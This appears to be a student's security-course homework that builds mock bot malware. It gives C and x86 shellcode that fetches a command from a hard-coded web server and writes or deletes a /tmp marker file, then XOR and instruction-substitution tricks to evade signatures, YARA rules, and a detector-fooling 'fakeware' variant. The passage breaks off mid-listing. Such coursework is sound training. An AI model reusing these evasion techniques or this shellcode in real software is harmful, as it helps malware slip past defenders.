Homework 4

Problem 1: Self-Modifying Code

a) Question a

First the program is allocating some memory space for the dummy function. Then we get the start address of the memory of the dummy function.

Then via the make_writable function, it verifies if at the location of the dummy_addr the memory is writable, if not then it returns 1 which means that the program encountered an error or is it not what we wanted from the program.

After that we have “char realcode[]” that is the shellcode that we will create for our fake malware.

Memcpy(void restrict dest, const void *restrict src, size_t n)

The memcpy() function copies n byte from memory area src to memory area dest. In our case, the src is the number of bytes of our shellcode, and the destination is the memory of the dummy function.

We don’t see the thing in printf from the dummy function being printed out, because the bytes in the memory area of the dummy function have been replaced by the bytes in the realcode array which is the shellcode.

b) Question b

The download function written in plain C:

```
int download(){
/*
This function creates a socket to connect to the web server at
"143.248.38.212", read a file named "cs492e.txt" stored in the
webserver.
*/

int socket_desc;
char *message;
char buffer[1024] = {0};

FILE *file = NULL;
struct sockaddr_in server;

//create socket
socket_desc = socket(AF_INET, SOCK_STREAM, 0);
if (socket_desc == -1){
    printf("Could not create socket");
```

```
}

server.sin_addr.s_addr = inet_addr("143.248.38.212");
server.sin_family = AF_INET;
server.sin_port = htons( 80 );

//connect to the server
 if (connect(socket_desc , (struct sockaddr *)&server , sizeof(server)) < 0)
    {
        puts("connect error");
        return 1;
    }

//puts("Connected\n");

//Send requests
message = "GET /cs492e.txt HTTP/1.0\r\n\r\n";

 if( send(socket_desc , message , strlen(message) , 0) < 0)
    {
        puts("Send failed");
        return 1;
    }

//puts("Data Send\n");

//We read what the webserver's answer to our requests
read(socket_desc, buffer, 1024);
//printf("%s\n", buffer);

/*
We want to parse the answer to get rid of the HTTP header
An HTTP header always end with "\r\n\r\n" so we will try to find
this string in the answer of our http requests.
*/
char *content = strstr(buffer, "\r\n\r\n");
if (content != NULL){
        content +=4;
}
else {
        content = buffer;
}

printf("%s\n", content);

//Closing the socket
close(socket_desc);
```

```
//Get out of the function
return 0;
}
```

c) Question c

The shellcode which has the same functionality as the download function. Didn't manage to parse the return value. So, it still has the HTTP header.

```
; To compile it I used nasm -f elf32 [filename]
; ld -melf_i386 -o [filename] [filename].o

global _start

section .text
 _start:

   ; clear all the registers
   xor   eax, eax
   xor   ebx, ebx
   xor   ecx, ecx
   xor   edx, edx

   ; create socket
   ; socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)
   mov al, 0x66  ; sys_socketcall
   mov bl, 0x1   ; sys_socket
   push 0x6      ; int protocol -> IPPROTO_TCP
   push 0x1      ; int type -> SOCK_STREAM
   push 0x2      ; int domain -> AF_INET
   mov ecx, esp
   int 0x80      ; syscall
   mov edi, eax  ; save socket file descriptor

   ; create sockaddr_in struct
   ; we want to assign the IP address 143.248.38.212
      mov eax, 0xD426F88F
   push edx         ; NULL Padding
   push edx         ; NULL Padding
   push  eax  ; big endian for 143.248.38.212
   push  word 0x5000  ; Port 80
   push  word 0x02   ; AF_INET
   mov esi, esp      ; we want to keep the start address of the struct

   ; connect to the socket
   ; connect (int sockfd, const struct sockaddr *addr, socklen_t addrlen)
   xor eax, eax
```

```
    xor ebx, ebx
    mov al, 0x66     ; sys_socketcall
    mov bl, 0x3      ; sys_connect
    push 0x10        ; socklen_t addrlen
    push esi         ; const struc sockaddr *addr
    push edi         ; int sockfd -> we saved it in edi before
    mov ecx, esp
    int 0x80         ; syscall for sys_connect, got a crash here

    ; we will now send the request
    ; send(int sockfd, const void *buf, size_t len, int flags)
       xor eax, eax
       xor ebx, ebx
       xor ecx, ecx
       xor edx, edx
    mov al, 0x66    ; sys_socketcall
    mov bl, 0x9     ; sys_send


    ;"GET /cs492e.txt HTTP/1.0\r\n\r\n"
    ;Now we will push the message in little endian

       push 0x0a0d0a0d
       push 0x302e312f ; 0.1/
    push 0x50545448 ; PTTH
    push 0x20747874 ;  txt
    push 0x2e653239 ; .e29
    push 0x3473632f ; 4sc/
    push 0x20544547 ;  TEG
       mov esi, esp

       push edx
       push 0x1c
       push esi
       push edi

       mov ecx, esp
    int 0x80        ; syscall for sys_send

; we want to receive the message
; read (int sockfd, void *buf, size_t count)
       xor eax, eax
       xor ebx, ebx
       xor ecx, ecx
       xor edx, edx

       mov al, 0x03    ; syscall for sys_read
```

```
    mov dx, 0x400   ; we want to read 1024 bytes
    mov ecx, esi    ; we had the buffer in esi
    mov ebx, edi    ; the file descriptor was stored in edi
    int 0x80        ; syscall for sys_read

; we want to write the message on the standard output
; write (int fd, const void *buf, size_t count)
    xor edx, edx
    mov dl, 0x01    ; We want to write only 1 byte from the buffer
    lea ecx, [esi + 0xf7] ; the actual body of the buffer start at offset 0xf7
    mov bl, 0x1     ; 1 is the standard output
    mov al, 0x04    ; sys_write syscall
    int 0x80        ; syscall for sys_write

exit:
  xor eax, eax
  mov al, 0x01
  int 0x80
```

d) Question d

Now we want to modify the assembly code, so it does the following things:

- If the bot command stored in the server is 1, then write a file cs492e to the /tmp/ directory with a string infected without a new line or a null terminator.
- If the bot command stored in the webserver is 0, then remove the file located at /tmp/cs492e. If the file does not exist, then you do nothing.

```
; To compile it I used nasm -f elf32 [filename]
; ld -melf_i386 -o [filename] [filename].o

global _start

section .text
  _start:

    ; clear all the registers
    xor   eax, eax
    xor   ebx, ebx
    xor   ecx, ecx
    xor   edx, edx

    ; create socket
    ; socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)
    mov al, 0x66  ; sys_socketcall
```

```
mov bl, 0x1   ; sys_socket
push 0x6      ; int protocol -> IPPROTO_TCP
push 0x1      ; int type -> SOCK_STREAM
push 0x2      ; int domain -> AF_INET
mov ecx, esp
int 0x80      ; syscall
mov edi, eax  ; save socket file descriptor

; create sockaddr_in struct
; we want to assign the IP address 143.248.38.212
   mov eax, 0xD426F88F
push edx         ; NULL Padding
push edx         ; NULL Padding
push  eax  ; big endian for 143.248.38.212
push  word 0x5000  ; Port 80
push  word 0x02   ; AF_INET
mov esi, esp      ; we want to keep the start address of the struct

; connect to the socket
; connect (int sockfd, const struct sockaddr *addr, socklen_t addrlen)
xor eax, eax
xor ebx, ebx
mov al, 0x66     ; sys_socketcall
mov bl, 0x3      ; sys_connect
push 0x10        ; socklen_t addrlen
push esi         ; const struc sockaddr *addr
push edi         ; int sockfd -> we saved it in edi before
mov ecx, esp
int 0x80         ; syscall for sys_connect, got a crash here

; we will now send the request
; send(int sockfd, const void *buf, size_t len, int flags)
   xor eax, eax
   xor ebx, ebx
   xor ecx, ecx
   xor edx, edx
mov al, 0x66    ; sys_socketcall
mov bl, 0x9     ; sys_send


;"GET /cs492e.txt HTTP/1.0\r\n\r\n"
;Now we will push the message in little endian

   push 0x0a0d0a0d
   push 0x302e312f ; 0.1/
push 0x50545448 ; PTTH
push 0x20747874 ;  txt
```

```
    push 0x2e653239 ; .e29
    push 0x3473632f ; 4sc/
    push 0x20544547 ;  TEG
        mov esi, esp

        push edx
        push 0x1c
        push esi
        push edi

        mov ecx, esp
    int 0x80        ; syscall for sys_send

; we want to receive the message
; read (int sockfd, void *buf, size_t count)
        xor eax, eax
        xor ebx, ebx
        xor ecx, ecx
        xor edx, edx

        mov al, 0x03    ; syscall for sys_read
        mov dx, 0x1027   ; we want to read a number of bytes, to have no null bytes
        mov ecx, esi    ; we had the buffer in esi
        mov ebx, edi    ; the file descriptor was stored in edi
        int 0x80        ; syscall for sys_read

        mov ecx, [esi + 0x000000f7] ; At esi + 0xf7 we have the body of the HTTP request

; we want to compare the value inside ecx to know if it is 0 or 1
        xor eax, eax
        mov ax, 0x0a30        ; we push 0x0a30 because when I inspect the value of ecx I have "0\n"
    cmp ax, cx        ; we compare the content of ax and cx
        je check

create: ; when the botnet command is 1 we will follow this path

    ; we will use the sys_creat syscall

    ; clear all the registers
    xor   eax, eax
    xor   ebx, ebx
    xor   ecx, ecx
    xor   edx, edx

    mov al, 0x08
        push edx        ; for the padding
    mov cx, 0511 ; we can play with this value to have different permissions
```

```
    push 0x65323934 ; e294
    push 0x73632f70 ; sc/p
    push 0x6d742f2f ; mt//
    mov ebx, esp
    int 0x80

    ; Now we want to open this file and write infected into it
    xor ecx, ecx
    mov al, 0x05    ; syscall for sys_open
    mov cl, 0x02       ; int value of O_RDWR
    push ebx       ; ebx still have the pathname
    int 0x80

    ; we will now write infected
    mov ebx, eax    ; the file descriptor was in eax at the end of open
    mov al, 0x04    ; syscall for sys_write
    push 0x64657463 ; detc
    push 0x65666e69 ; efni
    mov ecx, esp    ; get the start address
    mov dl, 0x08    ; infected is 8 bytes
    int 0x80
       jmp exit

check: ; in this label we will check if the file already exists

; clear all the registers
    xor   eax, eax
    xor   ebx, ebx
    xor   ecx, ecx
    xor   edx, edx

; we will do that with the open syscall if open return something else than 0
       push eax       ; padding
    push 0x65323934 ; e294
    push 0x73632f70 ; sc/p
    push 0x6d742f2f ; mt//
    mov ebx, esp
    push ebx
    mov al, 0x05   ; syscall for sys_open
    mov cl, 0x02    ; int value of O_RDWR
    int 0x80       ; syscall

       ; we will compare the value in eax to know if the file already exists
       push 0x04
       mov edx, [esp]
       cmp eax, edx
```

```
      jne exit
remove: ; when the botnet command value is 0 we will follow this path

 ; clear all the registers
   xor   eax, eax
   xor   ebx, ebx
   xor   ecx, ecx
   xor   edx, edx

   ; We will remove the the file /tmp/cs492e
   ; we will use the sys_unlink syscall
   ; unlink(const char *pathname)
   mov al, 0xa    ; syscall for sys_unlink
      push ecx       ; for the padding
   push 0x65323934 ; e294
   push 0x73632f70 ; sc/p
   push 0x6d742f2f ; mt//
      mov ebx, esp
   int 0x80

exit:
      xor eax, eax
      mov al, 0x01
      mov bl, 0x01
      int 0x80
```

e) Question e

The shellcode in hex form is:

"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x66\xb3\x01\x6a\x06\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc7\xb8\x8f\xf8\x26\xd4\x52\x52\x50\x66\x68\x00\x50\x66\x6a\x02\x89\xe6\x31\xc0\x31\xdb\xb0\x66\xb3\x03\x6a\x10\x56\x57\x89\xe1\xcd\x80\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x66\xb3\x09\x68\x0d\x0a\x0d\x0a\x68\x2f\x31\x2e\x30\x68\x48\x54\x54\x50\x68\x74\x78\x74\x20\x68\x39\x32\x65\x2e\x68\x2f\x63\x73\x34\x68\x47\x45\x54\x20\x89\xe6\x52\x6a\x1c\x56\x57\x89\xe1\xcd\x80\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x03\x66\xba\x27\x10\x89\xf1\x89\xfb\xcd\x80\x8b\x8e\xf7\x00\x00\x00\x31\xc0\x66\xb8\x30\x0a\x66\x39\xc8\x74\x41\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x08\x52\x66\xb9\xff\x01\x68\x34\x39\x32\x65\x68\x70\x2f\x63\x73\x68\x2f\x2f\x74\x6d\x89\xe3\xcd\x80\x31\xc9\xb0\x05\xb1\x02\x53\xcd\x80\x89\xc3\xb0\x04\x68\x63\x74\x65\x64\x68\x69\x6e\x66\x65\x89\xe1\xb2\x08\xcd\x80\xeb\x48\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x50\x68\x34\x39\x32\x65\x68\x70\x2f\x63\x73\x68\x2f\x2f\x74\x6d\x89\xe3\x53\xb0\x05\xb1\x02\xcd\x80\x6a\x04\x8b\x14\x24\x39\xd0\x75\x1e\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x0a\x51\x68\x34\x39\x32\x65\x68\x70\x2f\x63\x73\x68\x2f\x2f\x74\x6d\x89\xe3\xcd\x80\x31\xc0\xb0\x01\xb3\x01\xcd\x80"

File : 20226189.V1.c

Strace output

```
vagrant@cs492e:~/homework4$ strace ./20226189.V1
execve("./20226189.V1", ["./20226189.V1"], 0x7fffffffe5d0 /* 21 vars */) = 0
[ Process PID=2502 runs in 32 bit mode. ]
brk(NULL)                               = 0x5655a000
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) =
0xf7fca000
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_LARGEFILE|O_CLOEXEC) = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=27200, ...}) = 0
mmap2(NULL, 27200, PROT_READ, MAP_PRIVATE, 3, 0) = 0xf7fc3000
close(3)                                = 0
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/lib/i386-linux-gnu/libc.so.6", O_RDONLY|O_LARGEFILE|O_CLOEXEC) = 3
read(3, "\177ELF\1\1\1\3\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\360\357\1\0004\0\0\0"..., 512) = 512
fstat64(3, {st_mode=S_IFREG|0755, st_size=1993968, ...}) = 0
mmap2(NULL, 2002876, PROT_READ, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0xf7dda000
mprotect(0xf7df7000, 1859584, PROT_NONE) = 0
mmap2(0xf7df7000, 1396736, PROT_READ|PROT_EXEC,
MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1d000) = 0xf7df7000
mmap2(0xf7f4c000, 458752, PROT_READ, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3,
0x172000) = 0xf7f4c000
mmap2(0xf7fbd000, 16384, PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1e2000) = 0xf7fbd000
mmap2(0xf7fc1000, 8124, PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xf7fc1000
close(3)                                = 0
set_thread_area({entry_number=-1, base_addr=0xf7fcb100, limit=0x0fffff, seg_32bit=1, contents=0,
read_exec_only=0, limit_in_pages=1, seg_not_present=0, useable=1}) = 0 (entry_number=12)
mprotect(0xf7fbd000, 8192, PROT_READ)   = 0
mprotect(0x56558000, 4096, PROT_READ)   = 0
mprotect(0xf7ffc000, 4096, PROT_READ)   = 0
munmap(0xf7fc3000, 27200)               = 0
mprotect(0x56556000, 4096, PROT_READ|PROT_WRITE|PROT_EXEC) = 0
socket(AF_INET, SOCK_STREAM, IPPROTO_TCP) = 3
connect(3, {sa_family=AF_INET, sin_port=htons(80), sin_addr=inet_addr("143.248.38.212")}, 16) = 0
send(3, "GET /cs492e.txt HTTP/1.0\r\n\r\n", 28, 0) = 28
read(3, "HTTP/1.0 200 OK\r\nContent-Type: t"..., 4135) = 249
open("//tmp/cs492e", O_RDWR)            = -1 ENOENT (No such file or directory)
exit(-11263)                            = ?
+++ exited with 1 +++
```

f) Question f

We will use a simple XOR-based encryption/decryption so our actual shellcode will not plainly appear in the resulting binary. We will use a key and we will xor every bytes or the array with it.

File: 20226189.V2.c

Strace output

```
vagrant@cs492e:~/homework4$ strace ./20226189.V2
execve("./20226189.V2", ["./20226189.V2"], 0x7fffffffe5d0 /* 21 vars */) = 0
[ Process PID=2508 runs in 32 bit mode. ]
brk(NULL)                               = 0x5655a000
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) =
0xf7fca000
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_LARGEFILE|O_CLOEXEC) = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=27200, ...}) = 0
mmap2(NULL, 27200, PROT_READ, MAP_PRIVATE, 3, 0) = 0xf7fc3000
close(3)                                = 0
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/lib/i386-linux-gnu/libc.so.6", O_RDONLY|O_LARGEFILE|O_CLOEXEC) = 3
read(3, "\177ELF\1\1\1\3\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\360\357\1\0004\0\0\0"..., 512) = 512
fstat64(3, {st_mode=S_IFREG|0755, st_size=1993968, ...}) = 0
mmap2(NULL, 2002876, PROT_READ, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0xf7dda000
mprotect(0xf7df7000, 1859584, PROT_NONE) = 0
mmap2(0xf7df7000, 1396736, PROT_READ|PROT_EXEC,
MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1d000) = 0xf7df7000
mmap2(0xf7f4c000, 458752, PROT_READ, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3,
0x172000) = 0xf7f4c000
mmap2(0xf7fbd000, 16384, PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1e2000) = 0xf7fbd000
mmap2(0xf7fc1000, 8124, PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xf7fc1000
close(3)                                = 0
set_thread_area({entry_number=-1, base_addr=0xf7fcb100, limit=0x0fffff, seg_32bit=1, contents=0,
read_exec_only=0, limit_in_pages=1, seg_not_present=0, useable=1}) = 0 (entry_number=12)
mprotect(0xf7fbd000, 8192, PROT_READ)   = 0
mprotect(0x56558000, 4096, PROT_READ)   = 0
mprotect(0xf7ffc000, 4096, PROT_READ)   = 0
munmap(0xf7fc3000, 27200)               = 0
mprotect(0x56556000, 4096, PROT_READ|PROT_WRITE|PROT_EXEC) = 0
socket(AF_INET, SOCK_STREAM, IPPROTO_TCP) = 3
connect(3, {sa_family=AF_INET, sin_port=htons(80), sin_addr=inet_addr("143.248.38.212")}, 16) = 0
send(3, "GET /cs492e.txt HTTP/1.0\r\n\r\n", 28, 0) = 28
read(3, "HTTP/1.0 200 OK\r\nContent-Type: t"..., 4135) = 249
open("//tmp/cs492e", O_RDWR)            = -1 ENOENT (No such file or directory)
```

exit(-12031) = ?
+++ exited with 1 +++

g) Question g

File: 20226189.V3.c

To try to make my file less detectable by signature-based detection, I will try to change some instructions in my shellcode.

For example, to connect to the webserver most of us will directly push the IP address in the shellcode, I will push it after I xored it, so the value won't be plainly visible in the binary.

Also, we have to make a lot of socket call, so maybe instead of just pushing mov al, 0x66 and the syscall in bl, I will set and increment or do some operations on it so it is less detectable. We can do it almost every time we have a mov, so it will change the binary.

We can also use the xor method for the request we will send to the webserver, indeed I think everyone will use:

```
push 0x0a0d0a0d
push 0x302e312f ; 0.1/
push 0x50545448 ; PTTH
push 0x20747874 ;  txt
push 0x2e653239 ; .e29
push 0x3473632f ; 4sc/
push 0x20544547 ;  TEG
```

To send the request to the webserver, so maybe we can xor each line and then push them. We could do the same thing for the file "/tmp/cs492e" that we have to create and the string "infected" that we have to write in it.

Those steps will give us the shellcode below and I will put it in the file and xor them also like we did in the for the version 2.
Also, this time instead of xoring everything with one key, I choose a random bytes for every bytes of the realcode array.

Instructions ➔ New instructions that does the same thing

```
; To compile it I used nasm -f elf32 [filename]
; ld -melf_i386 -o [filename] [filename].o

global _start

section .text
 _start:
```

```
; clear all the registers
xor   eax, eax
xor   ebx, ebx
xor   ecx, ecx
xor   edx, edx

; create socket
; socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)
;mov al, 0x66  sys_socketcall
mov al, 0X64
inc eax
inc eax

;mov bl, 0x1   sys_socket
inc ebx
push 0x6     ; int protocol -> IPPROTO_TCP
push 0x1     ; int type -> SOCK_STREAM
push 0x2     ; int domain -> AF_INET
mov ecx, esp
int 0x80     ; syscall
mov edi, eax  ; save socket file descriptor

; create sockaddr_in struct
; we want to assign the IP address 143.248.38.212
   ;mov eax, 0xD426F88F
   mov eax, 0xFD87F2F7
   mov ebx, 0x29A10A78
   xor eax, ebx
push edx        ; NULL Padding
push edx        ; NULL Padding
push  eax  ; big endian for 143.248.38.212
push  word 0x5000  ; Port 80
push  word 0x02   ; AF_INET
mov esi, esp     ; we want to keep the start address of the struct

; connect to the socket
; connect (int sockfd, const struct sockaddr *addr, socklen_t addrlen)
xor eax, eax
xor ebx, ebx
mov al, 0x66     ; sys_socketcall
mov bl, 0x3      ; sys_connect
push 0x10        ; socklen_t addrlen
push esi        ; const struc sockaddr *addr
push edi         ; int sockfd -> we saved it in edi before
mov ecx, esp
int 0x80        ; syscall for sys_connect, got a crash here
```

```
; we will now send the request
; send(int sockfd, const void *buf, size_t len, int flags)
   xor eax, eax
   xor ebx, ebx

mov al, 0x66    ; sys_socketcall
mov bl, 0x9     ; sys_send


;"GET /cs492e.txt HTTP/1.0\r\n\r\n"
;Now we will push the message in little endian

   ;push 0x0a0d0a0d
   mov ecx, 0x6ee56cc7
   mov edx, 0x64E866CA
   xor ecx, edx
   push ecx

   ;push 0x302e312f  0.1/
   mov ecx, 0xe4071743
   mov edx, 0xD429266C
   xor ecx, edx
   push ecx

   ;push 0x50545448  PTTH
   mov ecx, 0x13D81925
   mov edx, 0x438C4D6D
   xor ecx, edx
   push ecx

   ;push 0x20747874   txt
   mov ecx, 0xA988738E
   mov edx, 0x89FC0BFA
   xor ecx, edx
   push ecx

   ;push 0x2e653239  .e29
   mov ecx, 0xF4067072
   mov edx, 0xDA63424B
   xor ecx, edx
   push ecx

   ;push 0x3473632f  4sc/
   mov ecx, 0x019B84FE
   mov edx, 0x35E8E7D1
   xor ecx, edx
```

```
        push ecx

        ;push 0x20544547   TEG
        mov ecx, 0x195E8C03
        mov edx, 0x390AC944
        xor ecx, edx
        push ecx

        mov esi, esp

        xor ecx, ecx
        xor edx, edx

        push edx
        push 0x1c
        push esi
        push edi

        mov ecx, esp
    int 0x80        ; syscall for sys_send

; we want to receive the message
; read (int sockfd, void *buf, size_t count)
        xor eax, eax
        xor ebx, ebx
        xor ecx, ecx
        xor edx, edx

        ;mov al, 0x03     syscall for sys_read
        inc eax
        inc eax
        inc eax

        mov dx, 0x1027   ; we want to read a number of bytes, to have no null bytes
        mov ecx, esi    ; we had the buffer in esi
        mov ebx, edi    ; the file descriptor was stored in edi
        int 0x80        ; syscall for sys_read

        mov ecx, [esi + 0x000000f7]  ; at esi+0Xf7 we have the body of the http request

; we want to compare the value inside ecx to know if it is 0 or 1
        xor eax, eax
        mov ax, 0x0a30        ; we push 0x0a30 because when I inspect the value of ecx I have "0\n"
    cmp ax, cx        ; we compare the content of ax and cx
        je check

create: ; when the botnet command is 1 we will follow this path
```

```
    ; we will use the sys_creat syscall

    ; clear all the registers
    xor   eax, eax
    xor   ebx, ebx
    xor   ecx, ecx
    xor   edx, edx

    mov al, 0x08
       push edx       ; for the padding
    mov cx, 0511 ; we can play with this value to have different permissions

    push 0x65323934 ; e294
    push 0x73632f70 ; sc/p
    push 0x6d742f2f ; mt//
    mov ebx, esp
    int 0x80

    ; Now we want to open this file and write infected into it
    xor ecx, ecx
    mov al, 0x05    ; syscall for sys_open
    mov cl, 0x02       ; int value of O_RDWR
    push ebx       ; ebx still have the pathname
    int 0x80

    ; we will now write infected
    mov ebx, eax    ; the file descriptor was in eax at the end of open
    mov al, 0x04    ; syscall for sys_write
    push 0x64657463 ; detc
    push 0x65666e69 ; efni
    mov ecx, esp    ; get the start address
    mov dl, 0x08    ; infected is 8 bytes
    int 0x80
       jmp exit

check: ; in this label we will check if the file already exists

; clear all the registers
    xor   eax, eax
    xor   ebx, ebx
    xor   ecx, ecx
    xor   edx, edx

; we will do that with the open syscall if open return something else than 0
       push eax       ; padding
    push 0x65323934 ; e294
```

```
   push 0x73632f70 ; sc/p
   push 0x6d742f2f ; mt//
   mov ebx, esp
   push ebx
   mov al, 0x05   ; syscall for sys_open
   mov cl, 0x02    ; int value of O_RDWR
   int 0x80       ; syscall

      ; we will compare the value in eax to know if the file already exists
      push 0x04
      mov edx, [esp]
      cmp eax, edx
      jne exit
remove: ; when the botnet command value is 0 we will follow this path

 ; clear all the registers
   xor   eax, eax
   xor   ebx, ebx
   xor   ecx, ecx
   xor   edx, edx

   ; We will remove the the file /tmp/cs492e
   ; we will use the sys_unlink syscall
   ; unlink(const char *pathname)
   mov al, 0xa    ; syscall for sys_unlink
      push ecx       ; for the padding
   push 0x65323934 ; e294
   push 0x73632f70 ; sc/p
   push 0x6d742f2f ; mt//
      mov ebx, esp
   int 0x80

exit:
      xor eax, eax
      mov al, 0x01
      mov bl, 0x01
      int 0x80
```

Problem 2: Writing Signatures with Yara

a) Question a

We must write our rules according to the different main point of our malware, we can list them as:

- Connect to the webserver at 143.248.38.212
- Send a HTTP get request to read a file named cs492e.txt
- If the botnet command is 1, we need to create a file “/tmp/cs492e” with the string infected in it.
- If the botnet command is 0, we need to remove the file at “/tmp/cs492e” if it exists else, we do nothing.

So, we should try to target those points with our Yara file.

```
rule NumberSocketCall
{
	strings:
		// This rule is triggered when the number of socket_call
		// is superior than a certain value
		$hex_syscall_socket = { (B0 | B4 | B8)  66 } // mov (eax,ax,al), 0x66

	condition:
		// socket_creation
		// socket_connect
		// socket_send
		// at least those 3 are used
		#hex_syscall_socket >= 3
}

rule IpAddress
{
	strings:
		// This string is for the struct address when
		// you are pushing the IP address in the server
		// struc that you will use for socket creation
		$hex_ipaddress_struct = { b8 8f f8 26 d4 }

	condition:
		$hex_ipaddress_struct
}

rule HttpRequest
{
	strings:
		//This is to match the "GET /cs492e.txt HTTP/1.0\r\n\r\n"
		//that we send to the socket to get the command of the
		//botnet
		$hex_http_request_1 = { 68 0D 0A 0D 0A } // \r\n\r\n
		$hex_http_request_2 = { 68 2f 31 2e 30} // 0.1/
		$hex_http_request_3 = { 68 48 54 54 50 } // PTTH
		$hex_http_request_4 = { 68 74 78 74 20 } //  txt
		$hex_http_request_5 = { 68 39 32 65 2E } // .e29
```

```
        $hex_http_request_6 = { 68 2F 63 73 34 } // 4sc/
        $hex_http_request_7 = { 68 47 45 54 20 } //  TEG

    condition:
        $hex_http_request_1 and $hex_http_request_2 and $hex_http_request_3 and
$hex_http_request_4 and $hex_http_request_5 and $hex_http_request_6 and $hex_http_request_7
}

rule FileCreation
{
    strings:
        // match the file creation at /tmp/cs492e
        // try to see if we have the write syscall
        // See if we are writing infected
        // the number of syscall (creat - write)
        $hex_creation = { (B0 | B4 | B8) 08 [0 - 20] 68 34 39 32 65 68 70 2F 63 73 68 2F 2F 74 6D }
        $hex_infected_string = { 68 63 74 65 64 68 69 6E 66 65}
        $hex_write_syscall = { (B0 | B4 | B8) 03 }
        $hex_syscall = { CD 80 }

    condition:
        $hex_creation and $hex_infected_string and $hex_write_syscall and (#hex_syscall >= 2)

}

rule FileRemoval
{
    strings:
        // We will have the unlink syscall
        // we will see if there is something at /tmp/cs492e
        // the number of syscall (unlink)
        $hex_unlink_syscall = { (B0 | B4 | B8) ?A }
        $hex_file = { 68 34 39 32 65 68 70 2F 63 73 68 2F 2F 74 6D }
        $hex_syscall = { CD 80 }

    condition:
        $hex_unlink_syscall and $hex_file and $hex_syscall
}

rule Valid
{
    condition:
    FileCreation and FileRemoval and HttpRequest and IpAddress and NumberSocketCall
}
```

b) Question b

File : 20226189.yar

I design by keeping some of the rules I created for the previous problems. Also, we know that yara can use xor to find different combinations, but the problem is that Yara only use one key and use the same for the rest of the strings. So, the thing here is that some fellow students did use the xor encryption/decryption method with only one key so it can detect some part of it.

I used that for the IP address of the webserver, as I think everyone will use it and for the infected string.

I wanted to do something to be able to find all the possible combinations of bytes strings that could give me the IP address of the webserver in bytes, but it will give thousand of lines of combinations and I don't know how to do it.

Problem 3: Fakeware

a) Question a

File: 20226189.fake.c

So, it is said in the file, that a program is malicious if all the following conditions hold:

1. It connects to the webserver at "143.248.38.212", and downloads a file named "cs492e.txt" using HTTP protocol
2. If the file content is 1, then the program writes to the file at /tmp/cs492e with a 8-byte string "infected" without a null-terminator
3. If the file content is 0, then the program removes a file at /tmp/cs492e only if it exists

We can try to only fake 1 of those conditions, for example, instead of writing in the file at /tmp/cs492e with the string "infected" we can just write it in the standard output instead.

We can remove the file every time, without caring if it exists or not. In my case, at the end of the comparison with the output of the HTTP get request, I will directly go to remove and won't go in the check label, but I will let it there to fake the detectors.

I think that this will work especially for writing infected in the standard output, I think most of the people will just try to match the infected string and the write syscall but they will not check where are we actually writing it.

I think we can easily fake everything, we just have to create some labels with the logic of the malware inside but we just have to never access it and it will trigger the detectors but the program will never go there by himself !

```
; To compile it I used nasm -f elf32 [filename]
; ld -melf_i386 -o [filename] [filename].o
```

```
global _start

section .text
  _start:

    ; clear all the registers
    xor   eax, eax
    xor   ebx, ebx
    xor   ecx, ecx
    xor   edx, edx

    ; create socket
    ; socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)
    mov al, 0x66  ; sys_socketcall
    mov bl, 0x1   ; sys_socket
    push 0x6      ; int protocol -> IPPROTO_TCP
    push 0x1      ; int type -> SOCK_STREAM
    push 0x2      ; int domain -> AF_INET
    mov ecx, esp
    int 0x80      ; syscall
    mov edi, eax  ; save socket file descriptor

    ; create sockaddr_in struct
    ; we want to assign the IP address 143.248.38.212
       mov eax, 0xD426F88F
    push edx         ; NULL Padding
    push edx         ; NULL Padding
    push  eax  ; big endian for 143.248.38.212
    push  word 0x5000  ; Port 80
    push  word 0x02   ; AF_INET
    mov esi, esp      ; we want to keep the start address of the struct

    ; connect to the socket
    ; connect (int sockfd, const struct sockaddr *addr, socklen_t addrlen)
    xor eax, eax
    xor ebx, ebx
    mov al, 0x66     ; sys_socketcall
    mov bl, 0x3      ; sys_connect
    push 0x10        ; socklen_t addrlen
    push esi        ; const struc sockaddr *addr
    push edi         ; int sockfd -> we saved it in edi before
    mov ecx, esp
    int 0x80         ; syscall for sys_connect, got a crash here

    ; we will now send the request
    ; send(int sockfd, const void *buf, size_t len, int flags)
       xor eax, eax
```

```
    xor ebx, ebx
